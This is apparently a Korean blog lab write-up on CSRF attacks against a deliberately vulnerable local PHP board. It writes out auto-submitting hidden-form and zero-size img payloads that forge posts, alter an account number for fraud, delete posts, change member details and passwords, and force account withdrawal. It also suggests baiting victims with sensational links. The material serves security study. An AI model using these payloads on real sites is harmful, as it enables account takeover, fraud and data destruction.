[실습6-1] CSRF 공격을 통한 게시글 무단 작성, 수정, 삭제 실습
우선 악성 스크립트를 저장하고, 그 웹 서비스에 접근했을 때 요청 변조가 되도록 해보자.
xss 공격에 취약해야 된다.
우선 저번 실습에 xss 공격이 불가하도록 시큐어 코딩을 했기 때문에 이번 실습을 위해 취약한 소스코드로 수정해보자.
action.php에서 content 변수만 이렇게 시큐어 코딩을 하기 전으로 돌려주자.
공격 페이로드를 만들어주어야 한다.
공격자 계정으로 게시글을 작성해서, 그 게시글을 열람한 사람이 의도하지 않은 방식으로 게시글을 작성하게끔 만들어보자.
우선 이런 글을 써서 등록한 후에, burp suite를 통해 request 값을 보자.
공격 페이로드를 만들 것이기 때문이다.
copy url을 눌러 일단 복사해주고
content type도 확인해주어야 코드 작성을 할 수 있다.
내가 쓴 게시물로 직접 오게끔 만들기 위해서 url을 복사한 것을 입력해주고, 글 작성하는 부분의 메서드가 POST이므로 이것도 참고해서 적어주어야 한다.
전체 코드를 작성하면 아래와 같다.
<form action="http://127.0.0.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성!">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>
버프스위트의 입력칸 개수를 확인하며 title, password, content, mode 총 4개가 있으므로 input type을 4개 해주어야 한다. 그러고 작성해야 하므로 submit도 하나 만들어주고, <form> 열어놨던 것을 닫아주면 된다.
그럼 이제 게시글을 작성해보자.
이렇게 작성해주자.
올리고 나서, 이번엔 해커 계정이 아닌 관리자 계정으로 들어가서 페이지를 열람해보자.
이렇게 뜨고, 제출 버튼을 눌러보자.
그럼 이렇게 관리자가 무단으로 작성한 글이 생기는 것이 확인된다.
admin 계정으로 버프스위트를 봤을 때 어떻게 발생하는지 확인해보자.
이렇게 처음에 해커가 글을 작성했을 때와 같은 요청이 발생한다.
이 요청은 지극히 정상적이다. 관리자가 직접 게시글을 작성했을 때의 코드와 동일하기 때문에 서버는 정상적으로 이에 대한 응답을 하는 것이다.
지금은 클릭을 해야 한다. 성공 확률이 낮아지는데, 만약 자동으로 요청이 가능해진다면 성공률이 더 높을 것이다.
다른 방식으로 해보자.
<body onload="document.forms[0].submit()">
<form action="http://127.0.0.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성!">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>
</body>
이번엔 body 태그를 추가해주었다. 클릭하자마자 바로 제출하게끔 만든 것이다.
해커 계정으로 이렇게 작성해주자.
이제는 클릭만 해도 바로 게시글이 작성되는 것을 알 수 있다.
공격자가 의도한 공격 형태로 발생되는 케이스이다.
게시글 작성은 했으니, 이제 수정과 삭제를 임의로 해보자.
공격자가 페이로드를 작성하고 사용자가 읽었을 때 자동으로 이루어지려면, 수정과 삭제에는 패스워드의 문제가 있다. 그래서 패수워드를 알고 있어야 한다는 전제 조건이 필요하다. 우리가 실습을 하기 위해 일단 패스워드 검증 로직을 수정해주자.
패스워드가 아닌, 세션이 동일한지 확인하는 로직으로 바꿔주자. 기존 코드는 주석 처리로 바꿔놓고, id='{$_SESSION["id"]}'"; 이렇게만 바꿔주자.
밑에 삭제 부분도 수정해주자.
이제 공격자의 입장에서 수정하고 싶은 게시글을 작성해주자.
관리자 계정으로 계좌번호 정보를 입력했다. 내가 공격자라면, 여기에 나타난 계좌번호를 내 계좌번호로 수정하고 싶을 것이다.
우선 수정 코드를 작성하기 위해 어떻게 진행되는지 확인이 필요하다.
해커 계정으로 임의의 게시글을 작성한 뒤 수정 버튼을 눌러 프록시를 확인해보자.
이렇게 보면 우선 password 로직은 우리가 지웠으므로 신경쓰지 않아도 되고, 추가로 생겨난 것은 idx다.
이에 맞게 수정을 해주어야 한다.
그리고 mode가 write였는데 이번엔 modify이므로 이것도 수정해주자.
<body onload="document.forms[0].submit()">
<form action="http://127.0.0.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="계좌정보 정보입니다.">
<input type="hidden" name="content" value="* 은행: 홍시은행
* 예금주: 해커
* 계좌번호: 2222222222
모든 상품에 대한 입금은 해당 계좌로 진행하시면 됩니다.">
<input type="hidden" name="password" value="a">
<input type="hidden" name="idx" value="26">
<input type="hidden" name="mode" value="modify">
<input type="submit">
</form>
</body>
아까 썼던 코드를 복사해서 필요한 부분만 추가로 수정해주면 된다.
수정만 하는 것이므로 수정할 부분 외의 것은 모두 기존 글과 동일하게 만들어주고, 이번엔 은행의 예금주와 계좌번호만 바꿔보자. 패스워드는 그냥 임의의 값으로 아무거나 하나 입력해준다. (신경을 안 써도 되지만 없으면 안 되므로)
그리고 게시글 번호인 26도 올바르게 써주면 된다.
관리자가 이 게시글을 볼 수 있도록 제목을 바꿔주고, 위의 코드를 입력하면 관리자가 이 게시글을 클릭하자마자 기존에 썼던 글이 수정될 것이다.
클릭을 하면 이렇게 계좌번호가 바뀐다!
게시글을 클릭할 때 어떤 요청이 일어나는지 확인해보자.
이렇게 클릭만 했음에도 불구하고 수정하는 코드가 나온다.
이제 무단 삭제 실습을 해보자.
삭제 대상 게시글을 임의로 만들어보자.
그냥 공지사항 하나를 작성해보았다.
우선 삭제 로직을 확인해야 하므로 해커 계정으로 임의로 게시글을 작성한 뒤 삭제할 때 프록시를 확인해보자.
패스워드를 입력해야 삭제가 가능하다. 그런데 패스워드는 아무거나 입력해도 된다. 어차피 로직을 넣어놓지 않아서 아무 패스워드나 눌러도 삭제가 된다.
idx, mode만 있다.
<body onload="document.forms[0].submit()">
<form action="http://127.0.0.1/insecure_website/action.php" method="POST">
<input type="hidden" name="password" value="a">
<input type="hidden" name="idx" value="29">
<input type="hidden" name="mode" value="delete">
<input type="submit">
</form>
</body>
enctype은 없으니까 지워주고, 패스워드는 임의의 값, 그리고 idx는 지우고 싶은 공지사항 게시글의 번호를 적어준다.
이렇게 해커 계정으로 적어주고
왼쪽은 클릭하기 전, 오른쪽은 클릭 후이다. 이렇게 게시글이 삭제된다.
이번에는 다른 예시인, 공격자 서버 페이지를 통해 웹 페이지를 csrf 공격하는 실습을 해보자.
우선 관리자 계정으로 삭제 대상 게시글 하나를 만들어준다.
이 게시글은 idx가 33이니 아까 코드에서 숫자만 바꿔준다.
공격자 전용 페이지가 필요하니 만들어주자
insecure_website 폴더에 csrf.php를 만들어서 위 코드를 작성해준다.
저장한 후,
http://127.0.0.1/insecure_website/csrf.php
이 링크를 관리자 계정으로 클릭하게 되면 삭제될 것이다.
해보자.
현재 상태이고, 클릭 전이다. 클릭을 해보자.
링크를 쓰기만 했는데도 이렇게 삭제된다.
링크를 보낼 때에는 자극적인 방식으로 링크 클릭을 유도하면 된다.
[실습6-2] CSRF 공격을 통한 회원 정보 무단 수정, 패스워드 변경, 회원 탈퇴 실습
우선 원래 있는, 회원 탈퇴시 실행되는 코드를 수정해주어야 하는데 나중에 필요하므로 이걸 복사해준다.
복사해서 이름을 이렇게 바꿔놓고, 우리는 withdrawal.php를 csrf 공격을 할 수 있게 바꿔줄 것이다.
이렇게 코드를 바꿔준다. 세션 파기를 이후에 하는 걸로 바꿔준 것이다.
id는 받지 않게 한 줄 지워준다. 이렇게 바꿔주고 저장하기!
그리고 mypage.php도 바꿔줘야 한다.
우선 아이디를 이렇게 바꿔주고
뒤에 탈퇴하시겠습니까? 뒤에 나오는 id 세션 확인도 지워준다. (표시해둔 곳을 지워주고 저장하기)
이제 공격자 계정으로 진행한다.
우선 마이페이지에서 수정하기 할 때 페이로드가 어떻게 발생하는지 확인해보기 위해 이름 옆에 임의로 a를 갖다 붙여봤다.
이렇게 나왔고, 일단 repeater로 보내주자. 그리고 해당 url을 또 복사해준다. 우클릭 후 copy url하면 된다.
이제 23번째 line에 있는대로 파라미터를 참고하여 코드를 작성하면 된다.
<body onload="document.forms[0].submit()">
<form action="http://127.0.0.1/insecure_website/index.php?page=mypage&id=hacker" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="email" value="victim">
<input type="hidden" name="company" value="(주)희생자">
<input type="submit">
</form>
</body>
이름과 이메일, 컴퍼니를 자유롭게 바꿔주고 이제 게시글에 이것을 작성해주면 된다.
클릭하면 모든 사용자의 회원 정보가 이렇게 바뀔 것이다.
이렇게 작성해주고, 관리자 계정은 조금 무서우니 test 계정을 통해 이 게시글을 클릭해보겠다.
올라온 게시글을 클릭했더니 회원정보 수정완료라고 뜬다.
그리고 이렇게 희생자로 회원 정보가 바뀐 것을 알 수 있다.
이젠 패스워드 수정을 해보자.
<body onload="document.forms[0].submit()">
<form action="http://127.0.0.1/insecure_website/index.php?page=mypage&id=hacker" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="password" value="babo">
<input type="hidden" name="email" value="victim">
<input type="hidden" name="company" value="(주)희생자">
<input type="submit">
</form>
</body>
중간에 이것만 더 추가해주었다.
그럼 사람들이 이 게시글을 클릭했는지 확인하려면, 공격자가 패스워드를 쳐보면 된다.
예를 들어, 관리자 계정으로 이 게시글을 클릭했다고 생각하면, 로그인할 때 admin 아이디를 입력하고 패스워드로 babo를 입력해서 로그인이 되는지 확인하면 된다.
그럼 패스워드가 변경되었는지 확인할 수 있다.
이제 게시글을 읽었을 때 탈퇴가 되게끔 바꿔보자.
탈퇴 로직을 파악해야 하기 때문에 확인해보자.
탈퇴 로직을 보면 이렇게 나온다. 이것도 마찬가지로 copy url 해준다.
http://127.0.0.1/insecure_website/withdrawal.php
이 url로 접속만 해주면 탈퇴가 된다. 그래서 위에서 했던 form 태그는 필요없어졌다.
이제 게시글을 클릭했을 때 바로 회원 탈퇴가 되도록 게시글 작성을 해보자.
원래 링크만 넣으면 되지만, 눈치채지 못하게 img 안에다 넣어버리자.
크기도 0으로 지정해준다.
아까 test 계정으로 이 게시글을 클릭해보았다.
다시 home을 눌렀더니, 자동으로 로그아웃된 것을 확인할 수 있다. 우측 상단을 보면 다시 로그인을 하라는 말이 나온다. 그러나 다시 로그인을 하려고 하면 로그인이 되지 않을 것이다. 탈퇴가 되었기 때문이다.
img 방식은 GET 방식으로 처리할 때 사용할 수 있는 좋은 방법 중 하나다.
POST 방식이라면 body, form 태그를 사용하면 좋다.
'웹 해킹 & 시큐어 코딩' 카테고리의 다른 글
웹 해킹 & 시큐어 코딩 (25) (0) | 2025.02.06 |
---|---|
웹 해킹 & 시큐어 코딩 (24) (0) | 2025.02.06 |
웹 해킹 & 시큐어 코딩 (22) (0) | 2025.02.02 |
웹 해킹 & 시큐어 코딩 (21) (0) | 2025.02.02 |
웹 해킹 & 시큐어 코딩 (20) (0) | 2025.02.01 |